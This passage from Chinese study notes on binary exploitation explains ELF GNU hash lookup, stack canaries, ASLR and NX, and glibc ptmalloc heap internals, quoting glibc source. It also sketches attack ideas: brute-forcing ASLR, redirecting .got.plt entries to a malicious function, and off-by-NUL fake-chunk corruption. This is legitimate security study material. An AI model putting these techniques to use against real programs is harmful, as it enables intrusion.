即为掩码, 初始为0, `bitmask` 怎么发生修改的? (这里其实就是 `hash` 算法中利用桶方法解决 `hash` 冲突的原理) 366 | 367 | ``` 368 | 本段内容来自 https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections 369 | The hash function used by the GNU hash has this property. This fact is leveraged to produce both hash functions required by the Bloom filter from the single hash function described above: 370 | 两个hash函数 371 | H1 = dl_new_hash(name); 372 | H2 = H1 >> shift2; 373 | As discussed above, the link editor determines how many mask words to use (maskwords) and the amount by which the first hash result is right shifted to produce the second (shift2). The more mask words used, the larger the hash section, but the lower the rate of false positives. I was told in private email that the GNU linker primarily derives shift2 from the base 2 log of the number of symbols entered into the hash table (dynsymcount - symndx), with a minimum value of 5 for ELFCLASS32, and 6 for ELFCLASS64. These values are explicitly recorded in the hash section in order to give the link editor the flexibility to change them in the future should better heuristics emerge. 374 | The Bloom filter mask sets one bit for each of the two hash values. Based on the Bloom filter reference, the word containing each bit, and the bit to set would be calculated as: 375 | 这是根据Bloom filter定义给出的参考, 但实际gnu用了一个此算法的修改版. 这里C是上面提到的 Bloom filter 掩码大小. 这里是32位 376 | N1 = ((H1 / C) % maskwords); 377 | N2 = ((H2 / C) % maskwords); 378 | 379 | B1 = H1 % C; 380 | B2 = H2 % C; 381 | To populate the bits when building the filter: 382 | bloom[N1] |= (1 << B1); 383 | bloom[N2] |= (1 << B2); 384 | and to later test the filter: 385 | (bloom[N1] & (1 << B1)) && (bloom[N2] & (1 << B2)) 386 | 387 | Therefore, in the GNU hash, the single mask word is actually calculated as: 388 | 因此gnu的算法描述如下, 总体类似. 389 | N = ((H1 / C) % maskwords); 390 | The two bits set in the Bloom filter mask word N are: 391 | BITMASK = (1 << (H1 % C)) | (1 << (H2 % C)); 392 | The link-editor sets these bits as 393 | bloom[N] |= BITMASK; 394 | And the test used by the runtime linker is: 395 | (bloom[N] & BITMASK) == BITMASK; 396 | ``` 397 | 398 | **这里进行一个实例的计算:** 399 | 400 | 使用这段代码计算 `_IO_stdin_used` 的hash值. 401 | 402 | ``` 403 | #include 404 | #include 405 | 406 | uint32_t 407 | dl_new_hash (const char *s) 408 | { 409 | uint32_t h = 5381; 410 | 411 | for (unsigned char c = *s; c != '\0'; c = *++s) 412 | h = h * 33 + c; 413 | 414 | return h; 415 | } 416 | int main(int argc, char** argv) { 417 | printf("%zu", dl_new_hash(argv[1])); 418 | return 0; 419 | } 420 | ``` 421 | 422 | 对应 `.gnu.hash` 结构 423 | 424 | ``` 425 | gdb-peda$ x/8w 0x080481ac 426 | 0x80481ac: 0x2 0x5 0x1 0x5 427 | 0x80481bc: 0x20002000 0x0 0x5 0xc0e34bad 428 | ``` 429 | 430 | 下面为计算过程: 431 | 432 | 先计算掩码(`bitmask`). 433 | 434 | ``` 435 | ➜ elf ./a.out _IO_stdin_used 436 | 3236121517 437 | ➜ elf python -c 'print int(3236121517%32)' #Hash1算法, 对应B1 438 | 13 439 | ➜ elf python -c 'print int((3236121517>>5)%32)' #Hash2算法, 对应B2 440 | 29 441 | 所以: 442 | N = 0 443 | BITMASK = (1 << 13)) | (1 << 29)) = 0x20002000 444 | bloom[N] |= BITMASK 445 | 所以: 446 | bloom[0] = 0x20002000 447 | ``` 448 | 449 | `0x0 0x5` 是 `Hash Buckets`, 关于hash中如何利用桶解决hash冲突 `http://www.cnblogs.com/xiekeli/archive/2012/01/16/2323391.html` 450 | 451 | ``` 452 | Hash Buckets 453 | 454 | Following the Bloom filter are nbuckets 32-bit words. Each word N in the array contains the lowest index into the dynamic symbol table for which: 455 | (dl_new_hash(symname) % nbuckets) == N 456 | Since the dynamic symbol table is sorted by the same key (hash % nbuckets), dynsym[buckets[N]] is the first symbol in the hash chain that will contain the desired symbol if it exists. 457 | A bucket element will contain the index 0 if there is no symbol in the hash table for the given value of N. As index 0 of the dynsym is a reserved value, this index cannot occur for a valid symbol, and is therefore non-ambiguous. 458 | ``` 459 | 继续上面的实例计算 `Hash Buckets`: 460 | 461 | ``` 462 | ➜ elf python -c 'print int(3236121517%2)' 463 | 464 | N = 1 465 | buckets[N] = 0x5 466 | dynsym[0x5] = _IO_stdin_used 467 | ``` 468 | 469 | `0xc0e34bad` 是 `Hash Values`, 关于 `Hash Values` 请参考下面, 470 | 471 | ``` 472 | The final part of a GNU hash section contains (dynsymcount - symndx) 32-bit words, one entry for each symbol in the second part of the dynamic symbol table. The top 31 bits of each word contains the top 31 bits of the corresponding symbol's hash value. The least significant bit is used as a stopper bit. It is set to 1 when a symbol is the last symbol in a given hash chain: 473 | 前31位作为hash值, 最后一位作为分割, 当symbol为最后一个或者两个桶的边界, 都要将最后一位置为1 474 | lsb = (N == dynsymcount - 1) || 475 | ((dl_new_hash (name[N]) % nbuckets) 476 | != (dl_new_hash (name[N + 1]) % nbuckets)) 477 | 478 | hashval = (dl_new_hash(name) & ~1) | lsb; 479 | 480 | 或者可以参考这个算法 481 | (dl_new_hash (&.dynstr[.dynsym[N].st_name]) & ~1) 482 | | (N == dynsymcount - 1 483 | || (dl_new_hash (&.dynstr[.dynsym[N].st_name]) % nbuckets) 484 | != (dl_new_hash (&.dynstr[.dynsym[N + 1].st_name]) % nbuckets)) 485 | ``` 486 | 这段一共有 `dynsymcount - symndx` 个 `32-bit` 的 `Hash Values`, 注意, 这个 `dynsymcount` 在运行时是未知的. 487 | 488 | 最后分析一段 `GNU` 中利用 `name` 返回指向该 `symbol` 的索引, 这段算法在注入时是核心代码. 这里需要理解下 `hash` 算法中利用桶解决冲突的原理, 冲突后需要在桶内进行查找, 时间复杂度为 `O(1)+O(m)`, `m` 为桶的固定大小. 489 | 490 | ``` 491 | Symbol Lookup Using GNU Hash 492 | 493 | The following shows how a symbol might be looked up in an object using the GNU hash section. We will assume the existence of an in memory record containing the information needed: 494 | typedef struct { 495 | const char *os_dynstr; /* Dynamic string table *//* .dynstr地址 */ 496 | Sym *os_dynsym; /* Dynamic symbol table *//* .dynsym地址 */ 497 | Word os_nbuckets; /* # hash buckets */ 498 | Word os_symndx; /* Index of 1st dynsym in hash */ 499 | Word os_maskwords_bm; /* Bloom filter words, minus 1 */ 500 | Word os_shift2; /* Bloom filter hash shift */ 501 | const BloomWord *os_bloom; /* Bloom filter words */ 502 | const Word *os_buckets; /* Hash buckets */ 503 | const Word *os_hashval; /* Hash value array */ 504 | } obj_state_t; 505 | To simplify matters, we elide the details of handling different ELF classes. In the above, Word is a 32-bit unsigned value, BloomWord is either 32 or 64-bit depending in the ELFCLASS, and Sym is either Elf32_Sym or Elf64_Sym. 506 | Given a variable containing the above information for an object, the following pseudo code returns a pointer to the desired symbol if it exists in the object, and NULL otherwise. 507 | 508 | Sym * 509 | symhash(obj_state_t *os, const char *symname) 510 | { 511 | Word c; 512 | Word h1, h2; 513 | Word n; 514 | Word bitmask; 515 | const Sym *sym; 516 | Word *hashval; 517 | 518 | /* 519 | * Hash the name, generate the "second" hash 520 | * from it for the Bloom filter. 521 | */ 522 | /* 两个散列函数 */ 523 | h1 = dl_new_hash(symname); 524 | h2 = h1 >> os->os_shift2; 525 | 526 | /* Test against the Bloom filter */ 527 | /* BloomWord的位大小 */ 528 | c = sizeof (BloomWord) * 8; 529 | n = (h1 / c) & os->os_maskwords_bm; 530 | bitmask = (1 << (h1 % c)) | (1 << (h2 % c)); 531 | if ((os->os_bloom[n] & bitmask) != bitmask) 532 | return (NULL); 533 | 534 | /* Locate the hash chain, and corresponding hash value element */ 535 | /* 获取对应桶的第一个.dynsym索引 * 536 | n = os->os_buckets[h1 % os->os_nbuckets]; 537 | if (n == 0) /* Empty hash chain, symbol not present */ 538 | return (NULL); 539 | /* Sym数据结构 */ 540 | sym = &os->os_dynsym[n]; 541 | /* 获取对应桶的第一个hashval */ 542 | hashval = &os->os_hashval[n - os->os_symndx]; 543 | 544 | /* 545 | * Walk the chain until the symbol is found or 546 | * the chain is exhausted. 547 | */ 548 | for (h1 &= ~1; 1; sym++) { 549 | /* 进行桶内遍历查询 */ 550 | h2 = *hashval++; 551 | 552 | /* 553 | * Compare the strings to verify match. Note that 554 | * a given hash chain can contain different hash 555 | * values. We'd get the right result by comparing every 556 | * string, but comparing the hash values first lets us 557 | * screen obvious mismatches at very low cost and avoid 558 | * the relatively expensive string compare. 559 | * 560 | * We are intentionally glossing over some things here: 561 | * 562 | * - We could test sym->st_name for 0, which indicates 563 | * a NULL string, and avoid a strcmp() in that case. 564 | * 565 | * - The real runtime linker must also take symbol 566 | * versioning into account. This is an orthogonal 567 | * issue to hashing, and is left out of this 568 | * example for simplicity. 569 | * 570 | * A real implementation might test (h1 == (h2 & ~1), and then 571 | * call a (possibly inline) function to validate the rest. 572 | */ 573 | /* hash值相同并且name相同 */ 574 | if ((h1 == (h2 & ~1)) && 575 | !strcmp(symname, os->os_dynstr + sym->st_name)) 576 | return (sym); 577 | 578 | /* Done if at end of chain */ 579 | /* 桶内查询完毕,因为桶边界是最低位为1 */ 580 | if (h2 & 1) 581 | break; 582 | } 583 | 584 | /* This object does not have the desired symbol */ 585 | return (NULL); 586 | } 587 | ``` 588 | 589 | 差不多把几个重要的section都介绍到了 590 | 591 | 592 | #### 调试命令相关 593 | ``` 594 | # 查看 `DYNAMIC`信息 595 | readelf -d test 596 | 597 | # 查看 `Section Headers` 598 | readelf -S test 599 | ``` 600 | 601 | #### gdb 调试 glibc 602 | ``` 603 | http://hardenedlinux.org/toolchains/2016/08/25/build_debug_environment_for_dynamic_linker_of_glibc.html 604 | http://blog.nlogn.cn/trace-glibc-by-using-gdb/ 605 | ``` 606 | 607 | #### 参考链接 608 | 609 | ``` 610 | <程序员自我修养> 611 | 612 | docs/elf/* 613 | ``` -------------------------------------------------------------------------------- /PWN之保护机制.md: -------------------------------------------------------------------------------- 1 | ## 常见保护机制 2 | 3 | 大部分在 `CSAPP` 的3.12节有提到, 主要是为了对抗缓冲区溢出攻击 4 | 5 | #### 1. 栈随机化(ASLR) 6 | 内存地址随机化, 可以蛮力枚举, 并且可以通过 `nop sled` 可以大大减少尝试次数. 7 | #### 2. 栈保护(canary) 8 | 就是段寄存器中取一个值放到栈中, 之后在函数结束时判断该值是否放生修改. 9 | 10 | ``` 11 | Dump of assembler code for function echo: 12 | 0x0804849d <+0>: push ebp 13 | 0x0804849e <+1>: mov ebp,esp 14 | 0x080484a0 <+3>: sub esp,0x28 15 | 0x080484a3 <+6>: mov eax,gs:0x14 //CANNARY 值 16 | => 0x080484a9 <+12>: mov DWORD PTR [ebp-0xc],eax 17 | 0x080484ac <+15>: xor eax,eax 18 | 0x080484ae <+17>: lea eax,[ebp-0x14] 19 | 0x080484b1 <+20>: mov DWORD PTR [esp],eax 20 | 0x080484b4 <+23>: call 0x8048350 21 | 0x080484b9 <+28>: lea eax,[ebp-0x14] 22 | 0x080484bc <+31>: mov DWORD PTR [esp],eax 23 | 0x080484bf <+34>: call 0x8048370 24 | 0x080484c4 <+39>: mov eax,DWORD PTR [ebp-0xc] 25 | 0x080484c7 <+42>: xor eax,DWORD PTR gs:0x14 26 | 0x080484ce <+49>: je 0x80484d5 27 | 0x080484d0 <+51>: call 0x8048360 <__stack_chk_fail@plt> 28 | 0x080484d5 <+56>: leave 29 | 0x080484d6 <+57>: ret 30 | End of assembler dump. 31 | ``` 32 | #### 3. NX(DEP) 33 | 数据内存页不可执行, 栈数据不可执行 34 | -------------------------------------------------------------------------------- /PWN之利用方法总结.md: -------------------------------------------------------------------------------- 1 | ## 触发恶意函数的方法 2 | #### 代码注入类 3 | 栈溢出后在栈上执行代码 - 受NX(DEP) 和 栈保护限制 4 | 5 | #### 伪造替换正常函数 6 | 修改正常函数 `.got.plt` 地址, 指向恶意函数. 7 | 8 | `ret_2_dl_resolve` -------------------------------------------------------------------------------- /PWN之堆内存管理.md: -------------------------------------------------------------------------------- 1 | ## 参考资料 2 | 3 | ``` 4 | 大部分参考资料都在 `refs` 下 5 | 6 | #libc源码, 本文的核心 7 | http://www.eglibc.org/cgi-bin/viewvc.cgi/branches/eglibc-2_19/ 8 | 9 | #非常详细, 本文的核心 10 | 11 | 12 | #这篇文章也不错, 很全面 13 | http://tyrande000.how/2016/02/20/linux%E4%B8%8B%E7%9A%84%E5%A0%86%E7%AE%A1%E7%90%86/ 14 | 15 | #阿里聚安全, 只讲了及基本的数据结构, 对于具体的分配, 回收算法没有涉及到 16 | https://jaq.alibaba.com/community/art/show?spm=a313e.7916648.0.0.ZP7WcS&articleid=315 17 | 18 | #很多人引用了这篇文章, 关于堆布局的图都是采用这篇文章里的 19 | https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/?spm=a313e.7916648.0.0.H9xzd9 20 | 21 | #Phrack 22 | #这篇文章很值的读, 虽然里面的一些技术不再适用, 但是其中的一些理念很不错, 比如其中关于如何利用爆破的方法绕过ASLR, 如何跟踪内存分配, 如何打印堆布局, 如何利用堆泄露关键信息. 23 | 24 | 25 | #这篇文章主要讲 malloc 原理, 与现在的 glibc 版本有较大差异, 后一部分不建议看, 但是前面一部分举了一个例子, 如何利用 off-by NUL 的 bug, 总的来说应该算是 chunk corruption, 去完成 a carefully crafted fake chunk, 最终实现 aa4bmo. 26 | <[Phrack]Vudo malloc tricks.pdf> 27 | 28 | #glibc的调试相关 29 | http://blog.chinaunix.net/uid-24774106-id-3526766.html 30 | http://blog.chinaunix.net/uid-24774106-id-3642925.html 31 | http://stackoverflow.com/questions/10000335/how-to-use-debug-version-of-libc 32 | ``` 33 | 34 | 关于堆的分配原理我觉的这篇文章 `` 已经说得很详细. 但是我尽力用 glibc 源码和自己的理解总结去概述, 本文章在说明时尽可能引用 `glibc-2.19` 中具体的代码和介绍, 用一些实例代码作为验证, 以及自己对 ptmalloc 的理解 35 | 36 | ## 分析堆的相关工具 37 | 38 | 在 Phrack 的一篇文章中 ``, 有一小节讲到 `Heap layout analysis` 作者利用了 `main_arena` 这个静态全局变量, 进行 heap dump 工作, 这里需要注意的是, 需要安装 `libc6-dbg` 以获取 `debugging symbols`, 此细节部分请查看 `参考资料/glibc的调试相关`. 39 | 40 | 这里介绍几个工具, 用于堆空间分配的分析. 41 | 42 | ``` 43 | 下面几个工具都是解析堆空间分配的 44 | 45 | #下面几个工具大同小异, 简单介绍下原理, 都是采用 python 的 gdb 的 API, 关于 API 有一篇文章 46 | https://sourceware.org/gdb/onlinedocs/gdb/Breakpoints-In-Python.html#Breakpoints-In-Python 47 | #之后通过 cat /proc/PID/maps 获取 heap base, 通过 gdb 的 `x/` 查看内存, 通过 `debugging symbols` 获取 `main_arena` 地址 48 | https://github.com/cloudburst/libheap 49 | https://github.com/Mipu94/peda-heap 50 | https://github.com/hugsy/gef 51 | https://github.com/pwndbg/pwndbg 52 | 53 | #ltrace 54 | #通过 ltrace 函数跟踪库函数调用. 55 | #关于 ltrace 的内部实现有一篇介绍文章, `refs/ltrace_internals.pdf`, 这里说一下大致原理, 起一个进程执行命令后, 根据 PID 拿到可执行文件, 之后按照 ELF 解析可执行文件, 拿到符号列表, 之后使用 ptrace attach 到 PID 上, 并在所有函数符号上插入断点. 56 | 57 | #通过 LD_PRELOAD 的 hook 方式跟踪内存分配函数, 这也是 Phrack 中 `` 利用的方法, 缺点就是需要重新执行程序 58 | https://github.com/nihilus/HeapTracer/blob/master/linux-native 59 | ``` 60 | ## 堆内存分配(ptmalloc设计)的思考 61 | 62 | 下面仅仅是个人在阅读完 ptmalloc 的分配和释放算法之后的一些关于 ptmalloc 设计上的一些想法, 毕竟之前是做开发的, 63 | 64 | #### 0. 为什么需要 ptmalloc 65 | 66 | 首先**内存的分配和回收很频繁的**, 这也就是其他语言希望实现高效的 GC, 针对频繁的操作, 第一个想到的解决方法就是**缓存**, 这也就是为什么 ptmalloc 存在各种各样的缓冲区. 假如不存在缓冲区, 每次分配都需要触发系统调用贼慢. 接下来就要引出 ptmalloc 涉及到的几种缓存, 这里只是概念性的解释几种缓存, 具体会在下文详细介绍. 67 | 68 | #### 1. Bins 69 | 70 | 为了避免每次触发系统调用, 首先想到的解决方法就是释放的内存暂时不归还给系统, 标记为空闲, 等下一次再需要相同大小时, 直接使用这块空闲内存即可. (存储结构是双向环链表, 类似 hash 表, hash 算法就是 chunk 的长度, 用双向环链表解决 hash 冲突) 71 | 72 | 这就涉及到, 刚刚释放的内存什么时候加到 Bins ? 相邻的两个空闲 chunk 什么时候合并? 怎么合并? 73 | 74 | #### 2. Top 75 | 76 | 另一个应该想到的就是, 可以先利用系统调用 `brk()` 分配一块比较大的内存作为缓存, 之后即使没有在 Bins 中也找不到, 也不需要每次触发系统调用, 直接切割这块大的内存即可. 77 | 78 | 这就涉及到 '这块大内存' 什么时候重新补充大小(不断切割会导致 top 变小)? 什么时候需要缩小(归还给系统)? 79 | 80 | #### 3. Fastbins 81 | 82 | Bins 和 Top 缓存是最基本的, 如果想要做进一步的优化, 其实就是更细分的缓存, 也就是更准确的命中缓存, 这里 Fastbins 存在的更具体的原因是 **避免 chunk 重复切割合并**. 83 | 84 | 如果了解过 Python 源码的同学可能会更理解, 这里的 Fastbins 类似于 Python 中整数对象 PyIntObject 的小整数 `small_ints`, 这里也只是理念类似, small_ints 准确的说是预先初始化, 可以一直重复使用而不被释放. 85 | 86 | Ok, 再回到 Fastbins 的讨论, 对于长度很小的 chunk 在释放后不会放到 Bins, 也不会标记为空闲, 这就避免了**合并**, 下次分配内存时首先查找 Fastbins, 这就避免了**切割**. 87 | 88 | #### 4. Unsorted bin 89 | 90 | Unsorted 是更细粒度的缓存, 属于 **'刚刚释放的内存'与 Bins 之间的缓存**. 91 | 92 | 在 **1. Bins** 中提到一个问题, 刚刚释放的内存什么时候加到 Bins ? 这其实就与 Unsorted 有关, 刚刚释放的内存会先放到 Unsorted 缓存, 在下一次内存分配时, 会优先于 Bins 查找, 如果能命中 Unsorted 缓冲最好, 否则就把 Unsorted 中的 chunk 统一整理到对应 Bins. 93 | 94 | #### 5. last_remainder 95 | 96 | 这其实也是一个缓存, 是针对于切割时使用的, 大致就是希望一直切割同一个 chunk. 在遍历 Unsorted 时使用, 但是它的使用是有条件的. 97 | 98 | 以上就是在阅读完 ptmalloc 分配内存那一部分代码后对 ptmalloc 的缓存设计上的一些想法. 下面会具体介绍 ptmalloc 在进行堆内存用到的各种具体的数据结构. 99 | 100 | ## chunk 结构 101 | 102 | #### chunk 结构 103 | 104 | 这里先贴出一段 `glibc-2.19/malloc/malloc.c` 中关于 chunk 的解释. 不再详细解释. 105 | 106 | `boundary tag` 边界标记, 关于它下文会进行介绍 107 | 108 | `INTERNAL_SIZE_T` 头部损耗, 参考 `eglibc-2.19/malloc/malloc.c:299`, 其实也就是 `size_t`. 109 | 110 | ```c 111 | eglibc-2.19/malloc/malloc.c:1094 112 | /* 113 | ----------------------- Chunk representations ----------------------- 114 | */ 115 | 116 | 117 | /* 118 | This struct declaration is misleading (but accurate and necessary). 119 | It declares a "view" into memory allowing access to necessary 120 | fields at known offsets from a given base. See explanation below. 121 | */ 122 | 123 | // 一个 chunk 的完整结构体 124 | struct malloc_chunk { 125 | 126 | INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ 127 | INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ 128 | 129 | struct malloc_chunk* fd; /* double links -- used only if free. */ 130 | struct malloc_chunk* bk; 131 | 132 | /* Only used for large blocks: pointer to next larger size. */ 133 | struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ 134 | struct malloc_chunk* bk_nextsize; 135 | }; 136 | 137 | 138 | /* 139 | malloc_chunk details: 140 | 141 | (The following includes lightly edited explanations by Colin Plumb.) 142 | 143 | // chunk 的内存管理采用边界标识的方法, 空闲 chunk 的 size 在该 chunk 的 size 字段和下一个 chunk 的 pre_size 字段都有记录 144 | Chunks of memory are maintained using a `boundary tag' method as 145 | described in e.g., Knuth or Standish. (See the paper by Paul 146 | Wilson ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a 147 | survey of such techniques.) Sizes of free chunks are stored both 148 | in the front of each chunk and at the end. This makes 149 | consolidating fragmented chunks into bigger chunks very fast. The 150 | size fields also hold bits representing whether chunks are free or 151 | in use. 152 | 153 | An allocated chunk looks like this: 154 | 155 | // 正在使用的 chunk 布局 156 | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 157 | | Size of previous chunk, if allocated | | 158 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 159 | | Size of chunk, in bytes |M|P| 160 | mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 161 | | User data starts here... . 162 | . . 163 | . (malloc_usable_size() bytes) . 164 | . | 165 | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 166 | | Size of chunk | 167 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 168 | 169 | // 几个术语规定, 'chunk' 就是整个 chunk 开头, 'mem' 就是用户数据的开始, 'Nextchunk' 就是下一个 chunk 的开头 170 | Where "chunk" is the front of the chunk for the purpose of most of 171 | the malloc code, but "mem" is the pointer that is returned to the 172 | user. "Nextchunk" is the beginning of the next contiguous chunk. 173 | 174 | // chunk 是双字长对齐 175 | Chunks always begin on even word boundaries, so the mem portion 176 | (which is returned to the user) is also on an even word boundary, and 177 | thus at least double-word aligned. 178 | 179 | // 空闲 chunk 被存放在双向环链表 180 | Free chunks are stored in circular doubly-linked lists, and look like this: 181 | 182 | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 183 | | Size of previous chunk | 184 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 185 | `head:' | Size of chunk, in bytes |P| 186 | mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 187 | | Forward pointer to next chunk in list | 188 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 189 | | Back pointer to previous chunk in list | 190 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 191 | | Unused space (may be 0 bytes long) . 192 | . . 193 | . | 194 | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 195 | `foot:' | Size of chunk, in bytes | 196 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 197 | 198 | // P 标志位不能放在 size 字段的低位字节, 用于表示前一个 chunk 是否在被使用, 如果为 0, 表示前一个 chunk 空闲, 同时 pre_size 也表示前一个空闲 chunk 的大小, 可以用于找到前一个 chunk 的地址, 方便合并空闲 chunk, 但 chunk 刚一开始分配时默认 P 为 1. 如果 P 标志位被设置, 也就无法获取到前一个 chunk 的 size, 也就拿不到前一个 chunk 地址, 也就无法修改正在使用的 chunk, 但是这是无法修改前一个 chunk, 但是可以通过本 chunk 的 size 获得下一个 chunk 的地址. 199 | The P (PREV_INUSE) bit, stored in the unused low-order bit of the 200 | chunk size (which is always a multiple of two words), is an in-use 201 | bit for the *previous* chunk. If that bit is *clear*, then the 202 | word before the current chunk size contains the previous chunk 203 | size, and can be used to find the front of the previous chunk. 204 | The very first chunk allocated always has this bit set, 205 | preventing access to non-existent (or non-owned) memory. If 206 | prev_inuse is set for any given chunk, then you CANNOT determine 207 | the size of the previous chunk, and might even get a memory 208 | addressing fault when trying to do so. 209 | 210 | Note that the `foot' of the current chunk is actually represented 211 | as the prev_size of the NEXT chunk. This makes it easier to 212 | deal with alignments etc but can be very confusing when trying 213 | to extend or adapt this code. 214 | 215 | The two exceptions to all this are 216 | 217 | // 这里的 the trailing size 是指下一个 chunk 的 pre_size, 因为 top 位于最高地址, 不存在相邻的下一个 chunk, 同时这里也解答了上面关于 top 什么时候重新填满 218 | 1. The special chunk `top' doesn't bother using the 219 | trailing size field since there is no next contiguous chunk 220 | that would have to index off it. After initialization, `top' 221 | is forced to always exist. If it would become less than 222 | MINSIZE bytes long, it is replenished. 223 | 224 | 2. Chunks allocated via mmap, which have the second-lowest-order 225 | bit M (IS_MMAPPED) set in their size fields. Because they are 226 | allocated one-by-one, each must contain its own trailing size field. 227 | 228 | */ 229 | ``` 230 | 231 | 阅读文档, 是理解的最快的方式之一. 232 | 233 | `P (PREV_INUSE)` 标志位表示前一个 chunk 是否在使用, 0 为没有在使用. 234 | 235 | `prev_size` 表示前一个 chunk 的大小, 仅在 `P (PREV_INUSE)` 为 0 时有效, 也就是前一个 chunk 为空闲状态. 236 | 237 | `size` 表示该整个 chunk 大小, 并非 malloc 返回值. 238 | 239 | `fd`, `bk`, `fd_nextsize`, `fd_nextsize` 是对于空闲 chunk 而言, 对于正在使用的 chunk, 从当前位置开始就是 malloc 返回给用户可用的空间. 240 | 241 | `fd`, `bk` 组成了 Bins 的双向环链表 242 | 243 | 对于空闲的 chunk 空间布局, 见上, 是环形双向链表. 存放在空闲 chunk 容器中. 244 | 245 | 关于 chunk 有一些操作, 判断前一个是否在使用, 判断下一个 chunk 是否正在使用, 是不是 `mmap` 分配的, 以及对标志位 `P` 等的操作, 可以参考 `glibc-2.19/malloc/malloc.c:1206` 中 `Physical chunk operations` 一小节(直接搜素该关键字即可). 246 | 247 | #### 边界标示 248 | 249 | 对于 chunk 的空间布局组织采用边界标示的方法, chunk 的存储是一段连续的内存, 其实就是 chunk 头部保存长度信息, 可以在适当的时候获取到前一个和后一个 chunk. 250 | 251 | 这里涉及到 chunk 到用户请求 mem 的想换转化操作, 以及对齐操作等. 请参考 `glibc-2.19/malloc/malloc.c:1258` 252 | 253 | #### 空间复用 254 | 255 | 对于正在使用 chunk, **它的下一个 chunk 的 `prev_size`** 是无效的, 所以这块内存被当前 chunk 给借用了, 因此对于请求分配 chunk 大小分配公式是 `chunk_size = (用户请求大小 + (2 - 1) * sizeof(INTERNAL_SIZE_T)) align to 2 * sizeof(size_t)` 256 | 257 | 最后请参考 `eglibc-2.19/malloc/malloc.c:44`, 会指出一些默认参数值, 以及关于 chunk 的最小 size 和 对齐的相关说明. 这里列出来了一小部分. 258 | 259 | ```c 260 | Supported pointer representation: 4 or 8 bytes 261 | Supported size_t representation: 4 or 8 bytes 262 | Note that size_t is allowed to be 4 bytes even if pointers are 8. 263 | You can adjust this by defining INTERNAL_SIZE_T 264 | 265 | Alignment: 2 * sizeof(size_t) (default) 266 | (i.e., 8 byte alignment with 4byte size_t). This suffices for 267 | nearly all current machines and C compilers. However, you can 268 | define MALLOC_ALIGNMENT to be wider than this if necessary. 269 | 270 | Minimum overhead per allocated chunk: 4 or 8 bytes 271 | Each malloced chunk has a hidden word of overhead holding size 272 | and status information. 273 | 274 | Minimum allocated size: 4-byte ptrs: 16 bytes (including 4 overhead) 275 | 8-byte ptrs: 24/32 bytes (including, 4/8 overhead) 276 | 277 | When a chunk is freed, 12 (for 4byte ptrs) or 20 (for 8 byte 278 | ptrs but 4 byte size) or 24 (for 8/8) additional bytes are 279 | needed; 4 (8) for a trailing size field and 8 (16) bytes for 280 | free list pointers. Thus, the minimum allocatable size is 281 | 16/24/32 bytes. 282 | 283 | Even a request for zero bytes (i.e., malloc(0)) returns a 284 | pointer to something of the minimum allocatable size. 285 | 286 | The maximum overhead wastage (i.e., number of extra bytes 287 | allocated than were requested in malloc) is less than or equal 288 | to the minimum size, except for requests >= mmap_threshold that 289 | are serviced via mmap(), where the worst case wastage is 2 * 290 | sizeof(size_t) bytes plus the remainder from a system page (the 291 | minimal mmap unit); typically 4096 or 8192 bytes. 292 | ``` 293 | 294 | 翻译几个关键的点, chunk 的大小需要按照 Alignment 进行对齐, 每一个被分配的 chunk 都有一个字的头部消耗, 包含该 chunk 的大小以及状态信息, 具体会在 chunk 结构和边界标示说明. 295 | 296 | ## 空闲容器(缓存) 297 | 298 | 下面会介绍 ptmalloc 中存在的各种空闲容器 299 | 300 | #### Bins 301 | 302 | ```c 303 | eglibc-2.19/malloc/malloc.c:1341 304 | /* 305 | -------------------- Internal data structures -------------------- 306 | 307 | All internal state is held in an instance of malloc_state defined 308 | below. There are no other static variables, except in two optional 309 | cases: 310 | * If USE_MALLOC_LOCK is defined, the mALLOC_MUTEx declared above. 311 | * If mmap doesn't support MAP_ANONYMOUS, a dummy file descriptor 312 | for mmap. 313 | 314 | Beware of lots of tricks that minimize the total bookkeeping space 315 | requirements. The result is a little over 1K bytes (for 4byte 316 | pointers and size_t.) 317 | */ 318 | 319 | /* 320 | Bins 321 | // Bins 就是由空闲 chunk - bin 组成数组, 每一个 bin 都是双向链表. Bin 存放是整理过的 chunks, 并且 bin 中合并过的空闲 chunk 是不存在相邻的, 所以 bin 中的每一个 chunk 都是可以被使用, 并且都是紧挨着正在使用的 chunk 或者 heap 内存末尾. 322 | An array of bin headers for free chunks. Each bin is doubly 323 | linked. The bins are approximately proportionally (log) spaced. 324 | There are a lot of these bins (128). This may look excessive, but 325 | works very well in practice. Most bins hold sizes that are 326 | unusual as malloc request sizes, but are more usual for fragments 327 | and consolidated sets of chunks, which is what these bins hold, so 328 | they can be found quickly. All procedures maintain the invariant 329 | that no consolidated chunk physically borders another one, so each 330 | chunk in a list is known to be 